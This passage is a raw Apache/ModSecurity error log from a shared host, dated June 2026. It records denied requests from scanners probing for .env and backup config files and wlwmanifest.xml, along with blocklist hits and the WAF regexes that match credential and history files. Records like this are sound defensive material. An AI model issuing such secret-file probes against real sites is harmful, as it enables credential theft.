/home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:38.122210 2026] [security2:error] [pid 531797:tid 532120] [client 143.244.57.82:44328] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ai3xusTA7b1mZrmcA-8uIgAAAow"] [Sat Jun 13 18:11:38.217731 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.92:48386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:38.218071 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.92:48386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:38.225215 2026] [security2:error] [pid 531797:tid 531963] [remote 17.241.75.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xusTA7b1mZrmcA-8uJwACQGM"] [Sat Jun 13 18:11:38.411411 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:11:38.411717 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:11:38.419147 2026] [security2:error] [pid 531797:tid 531896] [remote 17.246.19.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xusTA7b1mZrmcA-8uLwACNCA"] [Sat Jun 13 18:11:38.727910 2026] [security2:error] [pid 531797:tid 532097] [client 143.244.57.82:44338] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3xusTA7b1mZrmcA-8uQQAAAnY"] [Sat Jun 13 18:11:38.749085 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.23.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xusTA7b1mZrmcA-8uRAACdFU"] [Sat Jun 13 18:11:38.800275 2026] [security2:error] [pid 531797:tid 531899] [remote 17.22.245.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xusTA7b1mZrmcA-8uRQACdyM"] [Sat Jun 13 18:11:38.954403 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:38.954852 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:39.134440 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.16:59616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:39.134887 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.16:59616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:39.281779 2026] [security2:error] [pid 531155:tid 531196] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/s3/.env.bak"] [unique_id "ai3xuymiP80klyS0Nnr_ZgABXig"] [Sat Jun 13 18:11:39.318876 2026] [security2:error] [pid 531797:tid 532104] [client 143.244.57.82:44346] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3xu8TA7b1mZrmcA-8uVwAAAn0"] [Sat Jun 13 18:11:39.410158 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.97:38286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:39.410568 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.97:38286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:39.417679 2026] [security2:error] [pid 531155:tid 531210] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/srv/.env"] [unique_id "ai3xuymiP80klyS0Nnr_agABRzY"] [Sat Jun 13 18:11:39.454976 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:11:39.455257 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:11:39.470424 2026] [security2:error] [pid 531155:tid 531205] [remote 17.246.23.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xuymiP80klyS0Nnr_bAABeTE"] [Sat Jun 13 18:11:39.522706 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.53:65114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:39.523071 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.53:65114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:39.607077 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.13:49711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:39.607353 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.13:49711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:39.955167 2026] [security2:error] [pid 531155:tid 531207] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/laravel/.env"] [unique_id "ai3xuymiP80klyS0Nnr_dQABgTM"] [Sat Jun 13 18:11:39.982929 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:11:39.983211 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:11:40.091924 2026] [security2:error] [pid 531155:tid 531200] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app/etc/env.php"] [unique_id "ai3xvCmiP80klyS0Nnr_egABIyw"] [Sat Jun 13 18:11:40.124776 2026] [security2:error] [pid 531797:tid 531956] [remote 17.241.219.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvMTA7b1mZrmcA-8udAAChlw"] [Sat Jun 13 18:11:40.375247 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.106:60423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:40.375527 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.106:60423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:40.379544 2026] [security2:error] [pid 531155:tid 531233] [remote 17.241.227.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvCmiP80klyS0Nnr_gAABOE0"] [Sat Jun 13 18:11:40.502107 2026] [core:error] [pid 531797:tid 532018] [client 47.79.200.180:16608] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:40.502132 2026] [core:error] [pid 531797:tid 532018] [client 47.79.200.180:16608] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:40.519702 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:11:40.520172 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:11:40.551062 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.17:42450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:40.551307 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.17:42450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:40.668701 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.49:55717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:40.669167 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.49:55717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:40.671430 2026] [security2:error] [pid 531155:tid 531188] [remote 17.22.245.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvCmiP80klyS0Nnr_igABZiA"] [Sat Jun 13 18:11:40.708048 2026] [security2:error] [pid 531155:tid 531348] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/rand_error.phpt"] [unique_id "ai3xvCmiP80klyS0Nnr_iwAAAUk"] [Sat Jun 13 18:11:40.891324 2026] [security2:error] [pid 531155:tid 531365] [client 34.170.189.242:58508] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "breakthesafe.habeshacontacts.com"] [uri "/.env"] [unique_id "ai3xvCmiP80klyS0Nnr_kQAAAVo"] [Sat Jun 13 18:11:41.103319 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ng== [Sat Jun 13 18:11:41.103792 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ng== [Sat Jun 13 18:11:41.152222 2026] [security2:error] [pid 531155:tid 531156] [remote 17.241.75.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xvSmiP80klyS0Nnr_mQABMwA"] [Sat Jun 13 18:11:41.461139 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.5:49661] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:41.461579 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.5:49661] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:41.501552 2026] [security2:error] [pid 531797:tid 532036] [client 162.144.12.37:45104] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id 